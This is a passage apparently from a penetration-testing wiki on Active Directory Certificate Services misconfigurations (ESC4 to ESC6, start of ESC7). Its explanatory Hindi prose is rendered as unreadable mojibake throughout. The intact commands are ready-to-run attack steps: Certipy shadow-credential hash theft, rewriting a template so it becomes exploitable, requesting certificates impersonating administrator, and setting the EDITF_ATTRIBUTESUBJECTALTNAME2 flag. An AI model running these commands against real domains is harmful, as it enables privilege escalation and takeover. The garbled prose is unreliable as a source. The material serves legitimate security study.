The рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрд┐рдиреНрд╣реЗрдВ рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рдЙрди рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдореЗрдВ рдЬрд┐рдирдореЗрдВ рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рдФрд░ рдЦрд╛рддреЗ рдЬрд┐рдирдХреЗ behalf рдкрд░ рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХреЛ рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ CA рджреНрд╡рд╛рд░рд╛ рд╕реАрдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ certsrc.msc рд╕реНрдиреИрдк-рдЗрди рдХреЛ рдЦреЛрд▓рдХрд░, CA рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ, рдЧреБрдг рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ, рдФрд░ рдлрд┐рд░ тАЬEnrollment AgentsтАЭ рдЯреИрдм рдкрд░ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ CA рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ тАЬрдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯреЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рди рдХрд░реЗрдВтАЭ рд╣реИред рдЬрдм рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯреЛрдВ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ тАЬRestrict enrollment agentsтАЭ рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рд╕реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╡рд╛рд▓рд╛ рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИред рдпрд╣ рд╕рднреА рдХреЛ рдХрд┐рд╕реА рднреА рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

Vulnerable Certificate Template Access Control - ESC4

рд╡реНрдпрд╛рдЦреНрдпрд╛

рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдкрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд░реНрдгрдирдХрд░реНрддрд╛ рдЙрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ AD рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рд░рдЦрддреЗ рд╣реИрдВред

рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЛ рдмрджрд▓рдиреЗ рдФрд░ рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧреЛрдВ рдореЗрдВ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рдХрд┐рд╕реА рднреА рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рддреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреЛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  • Owner: рд╡рд╕реНрддреБ рдкрд░ рдирд┐рд╣рд┐рдд рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рднреА рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

  • FullControl: рд╡рд╕реНрддреБ рдкрд░ рдкреВрд░реНрдг рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХрд┐рд╕реА рднреА рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред

  • WriteOwner: рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдПрдХ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдХреЗ рд▓рд┐рдП рд╡рд╕реНрддреБ рдХреЗ рдорд╛рд▓рд┐рдХ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

  • WriteDacl: рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ FullControl рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

  • WriteProperty: рдХрд┐рд╕реА рднреА рд╡рд╕реНрддреБ рдХреА рд╕рдВрдкрддреНрддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рджреБрд░реБрдкрдпреЛрдЧ

рдкрд┐рдЫрд▓реЗ рдПрдХ рдХреА рддрд░рд╣ рдПрдХ рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:

ESC4 рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕реЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЯреЗрдореНрдкрд▓реЗрдЯ ESC1 рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рдПред

рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдКрдкрд░ рдХреЗ рдкрде рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдХреЗрд╡рд▓ JOHNPC рдХреЗ рдкрд╛рд╕ рдпреЗ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╣рдорд╛рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ JOHN рдХреЗ рдкрд╛рд╕ JOHNPC рдХреЗ рд▓рд┐рдП рдирдпрд╛ AddKeyCredentialLink рдПрдЬ рд╣реИред рдЪреВрдВрдХрд┐ рдпрд╣ рддрдХрдиреАрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ, рдореИрдВрдиреЗ рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рднреА рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ Shadow Credentials рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдкреАрдбрд╝рд┐рдд рдХреЗ NT рд╣реИрд╢ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Certipy рдХреЗ shadow auto рдХрдорд╛рдВрдб рдХрд╛ рдПрдХ рдЫреЛрдЯрд╛ рдкреВрд░реНрд╡рд╛рд╡рд▓реЛрдХрди рд╣реИред

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy рдПрдХрд▓ рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, Certipy рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдЧрд╛ рддрд╛рдХрд┐ рдпрд╣ ESC1 рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рдПред рд╣рдо -save-old рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рднреА рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдкреБрд░рд╛рдиреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рд╣реЗрдЬ рд╕рдХреЗрдВ, рдЬреЛ рд╣рдорд╛рд░реЗ рд╣рдорд▓реЗ рдХреЗ рдмрд╛рдж рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ред

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Vulnerable PKI Object Access Control - ESC5

Explanation

ACL-рдЖрдзрд╛рд░рд┐рдд рд╕рдВрдмрдВрдзреЛрдВ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рд▓, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдФрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХрдИ рд╡рд╕реНрддреБрдПрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, AD CS рдкреНрд░рдгрд╛рд▓реА рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпреЗ рд╡рд╕реНрддреБрдПрдВ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  • CA рд╕рд░реНрд╡рд░ рдХрд╛ AD рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ, рдЬрд┐рд╕реЗ S4U2Self рдпрд╛ S4U2Proxy рдЬреИрд╕реЗ рддрдВрддреНрд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  • CA рд╕рд░реНрд╡рд░ рдХрд╛ RPC/DCOM рд╕рд░реНрд╡рд░ред

  • рд╡рд┐рд╢реЗрд╖ рдХрдВрдЯреЗрдирд░ рдкрде CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> рдХреЗ рднреАрддрд░ рдХреЛрдИ рднреА рд╡рдВрд╢рдЬ AD рдСрдмреНрдЬреЗрдХреНрдЯ рдпрд╛ рдХрдВрдЯреЗрдирд░ред рдЗрд╕ рдкрде рдореЗрдВ, рд▓реЗрдХрд┐рди рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИ, рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХрдВрдЯреЗрдирд░, рдкреНрд░рдорд╛рдгрди рдкреНрд░рд╛рдзрд┐рдХрд░рдгреЛрдВ рдХрд╛ рдХрдВрдЯреЗрдирд░, NTAuthCertificates рдСрдмреНрдЬреЗрдХреНрдЯ, рдФрд░ рдирд╛рдорд╛рдВрдХрди рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдХрдВрдЯреЗрдирд░ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

рдпрджрд┐ рдПрдХ рдирд┐рдореНрди-рд╡рд┐рд╢рд┐рд╖реНрдЯрддрд╛ рд╡рд╛рд▓рд╛ рд╣рдорд▓рд╛рд╡рд░ рдЗрди рдорд╣рддреНрд╡рдкреВрд░реНрдг рдШрдЯрдХреЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ PKI рдкреНрд░рдгрд╛рд▓реА рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕рдордЭреМрддрд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Explanation

CQure Academy рдкреЛрд╕реНрдЯ рдореЗрдВ рдЪрд░реНрдЪрд╛ рдХрд┐рдП рдЧрдП рд╡рд┐рд╖рдп рдореЗрдВ EDITF_ATTRIBUTESUBJECTALTNAME2 рдзреНрд╡рдЬ рдХреЗ рдкреНрд░рднрд╛рд╡реЛрдВ рдкрд░ рднреА рдкреНрд░рдХрд╛рд╢ рдбрд╛рд▓рд╛ рдЧрдпрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ Microsoft рджреНрд╡рд╛рд░рд╛ рд╡рд░реНрдгрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, рдЬрдм рдПрдХ рдкреНрд░рдорд╛рдгрди рдкреНрд░рд╛рдзрд┐рдХрд░рдг (CA) рдкрд░ рд╕рдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдХрд┐рд╕реА рднреА рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд╡-рдкрд░рд┐рднрд╛рд╖рд┐рдд рдорд╛рдиреЛрдВ рдХреЛ рд╡рд┐рд╖рдп рд╡реИрдХрд▓реНрдкрд┐рдХ рдирд╛рдо рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Active Directory┬о рд╕реЗ рдирд┐рд░реНрдорд┐рдд рдЕрдиреБрд░реЛрдз рднреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдпрд╣ рдкреНрд░рд╛рд╡рдзрд╛рди рдПрдХ рдШреБрд╕рдкреИрдард┐рдП рдХреЛ рдХрд┐рд╕реА рднреА рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд╛рдорд╛рдВрдХрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдбреЛрдореЗрди рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИтАФрд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╡реЗ рдЬреЛ рдирд┐рдореНрди-рд╡рд┐рд╢рд┐рд╖реНрдЯрддрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдорд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдЦреБрд▓реЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдорд╛рдирдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯред рдЗрд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдШреБрд╕рдкреИрдард┐рдП рдХреЛ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ рдХреЗ рд░реВрдк рдореЗрдВ рдпрд╛ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рдХреНрд░рд┐рдп рдЗрдХрд╛рдИ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

Note: рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдЕрдиреБрд░реЛрдз (CSR) рдореЗрдВ рд╡реИрдХрд▓реНрдкрд┐рдХ рдирд╛рдореЛрдВ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП -attrib "SAN:" рддрд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ certreq.exe рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╡рд┐рдзрд┐ (рдЬрд┐рд╕реЗ "рдирд╛рдо рдорд╛рди рдЬреЛрдбрд╝реЗ" рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) ESC1 рдореЗрдВ SANs рдХреЗ рд╢реЛрд╖рдг рд░рдгрдиреАрддрд┐ рд╕реЗ рд╡рд┐рднрд┐рдиреНрдирддрд╛ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреА рд╣реИред рдпрд╣рд╛рдБ, рднреЗрдж рдХреИрд╕реЗ рдЦрд╛рддрд╛ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рдВрдХреБрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИтАФрдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рднреАрддрд░, рди рдХрд┐ рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВред

Abuse

рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рд╕реЗрдЯрд┐рдВрдЧ рд╕рдХреНрд░рд┐рдп рд╣реИ рдпрд╛ рдирд╣реАрдВ, рд╕рдВрдЧрдарди рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ certutil.exe рдХреЗ рд╕рд╛рде:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

рдпрд╣ рдСрдкрд░реЗрд╢рди рдореВрд▓ рд░реВрдк рд╕реЗ рд░рд┐рдореЛрдЯ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдПрдХреНрд╕реЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Tools like Certify рдФрд░ Certipy рдЗрд╕ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ рдЗрд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

рдЗрди рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рдХрд┐рд╕реА рдХреЗ рдкрд╛рд╕ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░ рдпрд╛ рд╕рдордХрдХреНрд╖ рд╣реИрдВ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд┐рд╕реА рднреА рдХрд╛рд░реНрдпрд╕реНрдерд▓ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдЕрдкрдиреЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдзреНрд╡рдЬ рдХреЛ рд╣рдЯрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

рдордИ 2022 рдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдкрдбреЗрдЯ рдХреЗ рдмрд╛рдж, рдирдП рдЬрд╛рд░реА рдХрд┐рдП рдЧрдП certificates рдореЗрдВ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╕реНрддрд╛рд░ рд╣реЛрдЧрд╛ рдЬреЛ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдХреЗ objectSid рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред ESC1 рдХреЗ рд▓рд┐рдП, рдпрд╣ SID рдирд┐рд░реНрджрд┐рд╖реНрдЯ SAN рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЧрдпрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, ESC6 рдХреЗ рд▓рд┐рдП, SID рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдХреЗ objectSid рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, рди рдХрд┐ SAN рдХреЛред ESC6 рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо ESC10 (рдХрдордЬреЛрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореИрдкрд┐рдВрдЧ) рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ, рдЬреЛ рдирдП рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ SAN рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрддрд╛ рд╣реИред

рдХрдордЬреЛрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкрд╣реБрдВрдЪ рдирд┐рдпрдВрддреНрд░рдг - ESC7

рд╣рдорд▓рд╛ 1

рд╡реНрдпрд╛рдЦреНрдпрд╛

